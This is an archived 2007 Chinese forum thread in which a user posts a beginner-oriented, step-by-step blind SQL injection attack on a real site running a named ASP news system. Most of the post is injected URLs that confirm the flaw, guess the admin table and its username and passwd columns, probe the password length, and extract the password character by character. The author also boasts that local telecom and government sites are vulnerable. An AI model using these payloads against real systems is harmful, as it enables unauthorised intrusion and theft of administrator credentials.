岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

绝版青春 发表于 2007-1-30 23:14

SQL injection攻击实例

最近SQL injection攻击好象比较流行,看了安全天使写的一些文章再综合一些入侵过程中的经验决定写一篇文章来给菜鸟们说说
SQL injection攻击的一个大概过程。
SQL injection具体解释我不想多说了,具体看angel写的几篇文章。前几天帮QQ上的一个朋友“测试站点的安全”发现他用的尘缘雅境图文系统就存在着SQL injection漏洞,而且出错的信息也很有代表性,就以这个系统来做为例子吧~。
首先,在我们要对一个系统进行SQL injection攻击时我们不太可能知道数据库中保存密码的表和列等敏感数据(除非他开放源代码),所以我们就假设我们不知道对方的系统类型,把一次详细的攻击过程写出来。我在这个系统里搜集信息的时候发现这个页面很有趣:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1
根据经验像这样*.asp?xx=* 的页面通常都存在漏洞,测试一下,递交这样的URL:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 1=1 //在后面跟一个等式(图一)
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 1=2 //跟一个不等式(图二)
结果返回的页面是2个,如果后面跟的等式,会正确返回文章;如果后面跟的是一个不等式就会返回“无权限访问或无此内容”。其实存在这个漏洞的系统大部分都有这个特点:如果在页面的URL后面跟一个等式,一般会返回一个和没加等式前一样的页面给你;而如果是一个不等式,就会返回各种错误信息(这个就要自己去判断了,不过如果对方返回的是“请不要递交非法参数”,那么....:)
好了,我们现在来试试对方保存管理员帐号信息的表名,递交这样的URL:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 or 0<>(select count(*) from admin)
解释一下,我们猜数据库里有一个叫admin的表,结果页面正常显示,说明的确有个叫admin的表(图三);如果返回了错误信息,那就是猜错了,把U.....from admin)中的admin换成其他的试试就是了。
再来试试看这个表中保存用户名的列叫什么:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 0<>(select count(*) from admin where username<>'')
这个URL的意思是试试admin表中是否有username这个列,也是返回了正常的文章页面,猜对了,呵呵~~~
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 0<>(select count(*) from admin where password<>'')
试试admin表中是不是有password这个列,结果返回了一堆的错误信息,猜错了~再来:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 0<>(select count(*) from admin where passwd<>'')
看看表中保存密码的列名是不是passwd,结果返回正常显示的文章,猜对了~~
现在我们就得到了一些关键的信息了:数据库中有个admin表,管理员用户名保存在表中的username列,密码保存在passwd列。我们知道了这些信息就可以开始猜用户名和密码了。好了,我们继续~
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where username='sniper')
意思不用我说了吧,目的是测试admin表中的username列是否有一个叫sniper的管理员用户名,结果返回文章,说明有一个叫sniper的管理员。
如果猜错了,把URL中的sniper(2个sniper都要改)换成其他的用户名就是了。
再来看看密码的位数:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where len(passwd)=1) //测试用户sniper的密码为一位,显示无权访问,再把密码位数调高试试~
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where len(passwd)=2) //测试用户sniper的密码为2位,又错了~结果一直到递交以下URL才成功:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where len(passwd)=16) //正常显示页面,说明密码就是16位,试到这里我就开始怀疑密码是不是经过MD5加密的了,于是便没有继续猜下去,当然你也可以写个小程序来猜,我们已经得到了表名和列名,写个程序是很容易的了。
在其他的一些系统中密码并没有经过MD5加密,我们可以通过以下URL来试密码:
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where left(passwd,1)='1')
设密码第一位为1(记得要打单引号)
[url]http://211.91.[/url]*.*/gd/2/ReadNews.asp?NewsID=1 and 'sniper'=(select username from admin where left(passwd,2)='1a')
设密码前2位为1a,看清楚了吗?left(passwd,x)='y' 中的x就是表示取密码的前几位,y就是你要试的密码。
在SQL injection攻击中还要注意哪些地方要打单引号,哪些不要,这个就看大家去试试了(这样才记的牢),因此强烈建议大家去下载一套尘缘雅境图文系统(我试的版本是2003.1出的)来实验,一些相关资料我会整理一下后固定在黑客X的论坛的雪候鸟版块。
到此为止,一次完整的SQL injection攻击就完成了,这种攻击方法比较麻烦,要耐着性子去猜,但是其作用不可小瞧,我就发现我们当地的电信和政府部门都有这个漏洞。写的很匆忙,有错误或不足的地方请各位指教。

小鱼 发表于 2007-2-10 09:45

看看啊

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2009 Comsenz Inc.